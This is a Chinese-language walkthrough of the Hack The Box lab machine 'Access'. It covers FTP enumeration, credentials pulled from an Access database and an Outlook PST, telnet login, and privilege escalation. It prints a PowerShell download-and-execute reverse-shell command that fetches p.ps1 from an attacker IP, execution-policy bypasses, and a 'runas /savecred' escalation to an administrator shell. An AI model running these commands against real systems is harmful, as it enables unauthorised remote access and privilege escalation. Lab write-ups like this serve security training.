概述 (Overview)
- MACHINE TAGS
- Windows
- Password Reuse
- Powershell
攻击链 (Kiillchain)
TTPs (Tactics, Techniques & Procedures)
- nmap
- ftp
- mdbtools
- pst-utils
- telnet
- Invoke-PowerShellTcp
- runas
阶段1:枚举
开始还是用Nmap去扫一下开放端口,查看端口运行的服务是什么:
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst:
|_ SYST: Windows_NT
23/tcp open telnet?
| telnet-ntlm-info:
| Target_Name: ACCESS
| NetBIOS_Domain_Name: ACCESS
| NetBIOS_Computer_Name: ACCESS
| DNS_Domain_Name: ACCESS
| DNS_Computer_Name: ACCESS
|_ Product_Version: 6.1.7600
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
浏览器访问目标ip,仅显示一张图片…
转而尝试21端口运行的FTP,尝试匿名访问发现登录成功:
阶段2:工具及利用
阶段2.1:FTP匿名登录下载
在 Backups
文件夹中发现了一个 backup.mdb
的文件,但下载到本地后用 mdb-tables
无法访问,格式被破坏:
kali@kali # file backup.mdb
backup.mdb: Microsoft Access Database
我一开始以为是网络问题导致下载内容不完整,看了看我这到HTB的网络延迟,均在 80ms 以内且没有丢包,排除网络问题(我这找朋友帮忙搞的一根企业专线,xx中心机房直达HTB所以延迟才会这么低。我实验过aliyun的sg服务器,部好后也是可以达到80ms已内的,所以网络的问题可以自己部一个去解决,这里不做过多探讨)。
随后翻翻HTB关于这个靶机的讨论,注意到 ASHacker
回复说 ftp 存在传输模式的选择。
所以,在 linux 中 FTP 的存在两种传输模式:
- ASCII:以文本序列传输数据
- BINARY:以二进制序列传输数据
ASCII 模式和BINARY模式的区别是回车换行的处理,binary模式不对数据进行任何处理,asci模式将回车换行转换为本机的回车字符,比如Unix下是\n,Windows下是\r\n,Mac下是\r
所以,在跟换了模式之后下载到的 backup.mdb
通过工具能正常读取了:
总共在目标服务器FTP中下载内容:
<DIR> Backups
- backup.mdb
<DIR> Engineer
- Access Control.zip
阶段2.2:MDB库内容导出
mdbtools
工具在 kali 新版本里默认是没有的,可以单独下载:apt-get install mdbtools or https://github.com/mdbtools/mdbtools
对了,MAC系统的话可以用 ACCDB MDB Explorer
,主要颜值不错。
获取 MDB 数据库中的表列表
$ mdb-tables backup.mdb
acc_antiback acc_door acc_firstopen acc_firstopen_emp acc_holidays acc_interlock acc_levelset acc_levelset_door_group acc_linkageio acc_map acc_mapdoorpos acc_morecardempgroup acc_morecardgroup acc_timeseg acc_wiegandfmt ACGroup acholiday ACTimeZones action_log AlarmLog areaadmin att_attreport att_waitforprocessdata attcalclog attexception AuditedExc auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions base_additiondata base_appoption base_basecode base_datatranslation base_operatortemplate base_personaloption base_strresource base_strtranslation base_systemoption CHECKEXACT CHECKINOUT dbbackuplog DEPARTMENTS deptadmin DeptUsedSchs devcmds devcmds_bak django_content_type django_session EmOpLog empitemdefine EXCNOTES FaceTemp iclock_dstime iclock_oplog iclock_testdata iclock_testdata_admin_area iclock_testdata_admin_dept LeaveClass LeaveClass1 Machines NUM_RUN NUM_RUN_DEIL operatecmds personnel_area personnel_cardtype personnel_empchange personnel_leavelog ReportItem SchClass SECURITYDETAILS ServerLog SHIFT TBKEY TBSMSALLOT TBSMSINFO TEMPLATE USER_OF_RUN USER_SPEDAY UserACMachines UserACPrivilege USERINFO userinfo_attarea UsersMachines UserUpdates worktable_groupmsg worktable_instantmsg worktable_msgtype worktable_usrmsg ZKAttendanceMonthStatistics acc_levelset_emp acc_morecardset ACUnlockComb AttParam auth_group AUTHDEVICE base_option dbapp_viewmodel FingerVein devlog HOLIDAYS personnel_issuecard SystemLog USER_TEMP_SCH UserUsedSClasses acc_monitor_log OfflinePermitGroups OfflinePermitUsers OfflinePermitDoors LossCard TmpPermitGroups TmpPermitUsers TmpPermitDoors ParamSet acc_reader acc_auxiliary STD_WiegandFmt CustomReport ReportField BioTemplate FaceTempEx FingerVeinEx TEMPLATEEx
将 MDB 数据库中auth_user表内容导出
$ mdb-export backup.mdb auth_user > auth_user.txt
$ cat auth_user.txt
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
$ 7z x Access\ Control.zip
输入密码 access4u@security
后得到 'Access Control.pst'
文件
阶段2.3:处理 Microsoft Outlook email folder
查看文件类型,是 Outlook 的东西:
$ file Access\ Control.pst
Access Control.pst: Microsoft Outlook email folder (>=2003)
接着找能读取的工具:
直接安装该工具:apt-get install pst-utils
。
然后我又发现了一个有意思的网站 : https://command-not-found.com/
,它能根据你输入的内容识别出该工具的安装命令,以后如果遇到需要安装的工具可以试试通过这个站去找。
比如我搜 ag
,它就在正确的帮我找到了 silversearcher-ag
(一个比grep更快的搜索)
回到正题,通过该工具得到一个新的 Access\ Control.mbox
文件:
查看文件内容,里面是邮件发送的正文:
到的一组新的口令:security:4Cc3ssC0ntr0ller
通过 telnet 成功登录,并到的 user flag
阶段3:权限提升
通过 impacket-smbserver
将 NC 传至目标服务器,但上线动作被组策略阻止了。
尝试利用 Invoke-PowerShellTcp
进行上线,记得修改好对应的反弹监听IP和端口。
重命名一下:kali@kali $ mv Invoke-PowerShellTcp.ps1 p.ps1
利用 powershell 下载后上线:
cmd > powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.16.6/p.ps1')"
cmd > powershell -executionpolicy bypass -file p.ps1` 或 `cmd > powershell -nop -exec bypass -file p.ps1
查看下组和权限,可以看到权限还是挺少的就是已普通用户:
Mandatory Label\Medium Mandatory Level
说明是一个普通用户,尝试后发现 WMIC.exe
被禁用。
执行:powershell -exec bypass -Command "&{ Import-Module .\PowerUp.ps1; Invoke-AllChecks }"
发现没有可利用的风险项。
查计划任务:schtasks /query /fo LIST /v
, 无果。
查目录隐藏文件:dir /adh
or dir -Force
, 没有新发现。
最后翻到 C:\Users\Public\Desktop
存在一个桌面快捷键(C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk
):
在 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\
中也能找到应用的快捷方案:
逐一分析内容,参考 Windows 下使用 runas 命令以指定的权限启动一个进程(非管理员、管理员)
runas 命令: runas 是 Windows 系统上自带的一个命令,通过此命令可以以指定权限级别间接启动我们的程序,而不止是继承父进程的权限。用到的其实是凭证。
汗,早知道上个 winPEAS.exe
到目标服务器上去收集下信息,就不会浪费这么多时间了。
执行脚本反弹管理员shell: cmd >runas /user:ACCESS\Administrator /savecred "powershell -nop -exec bypass -file C:\Users\security\Downloads\p.ps1"
OK,成功。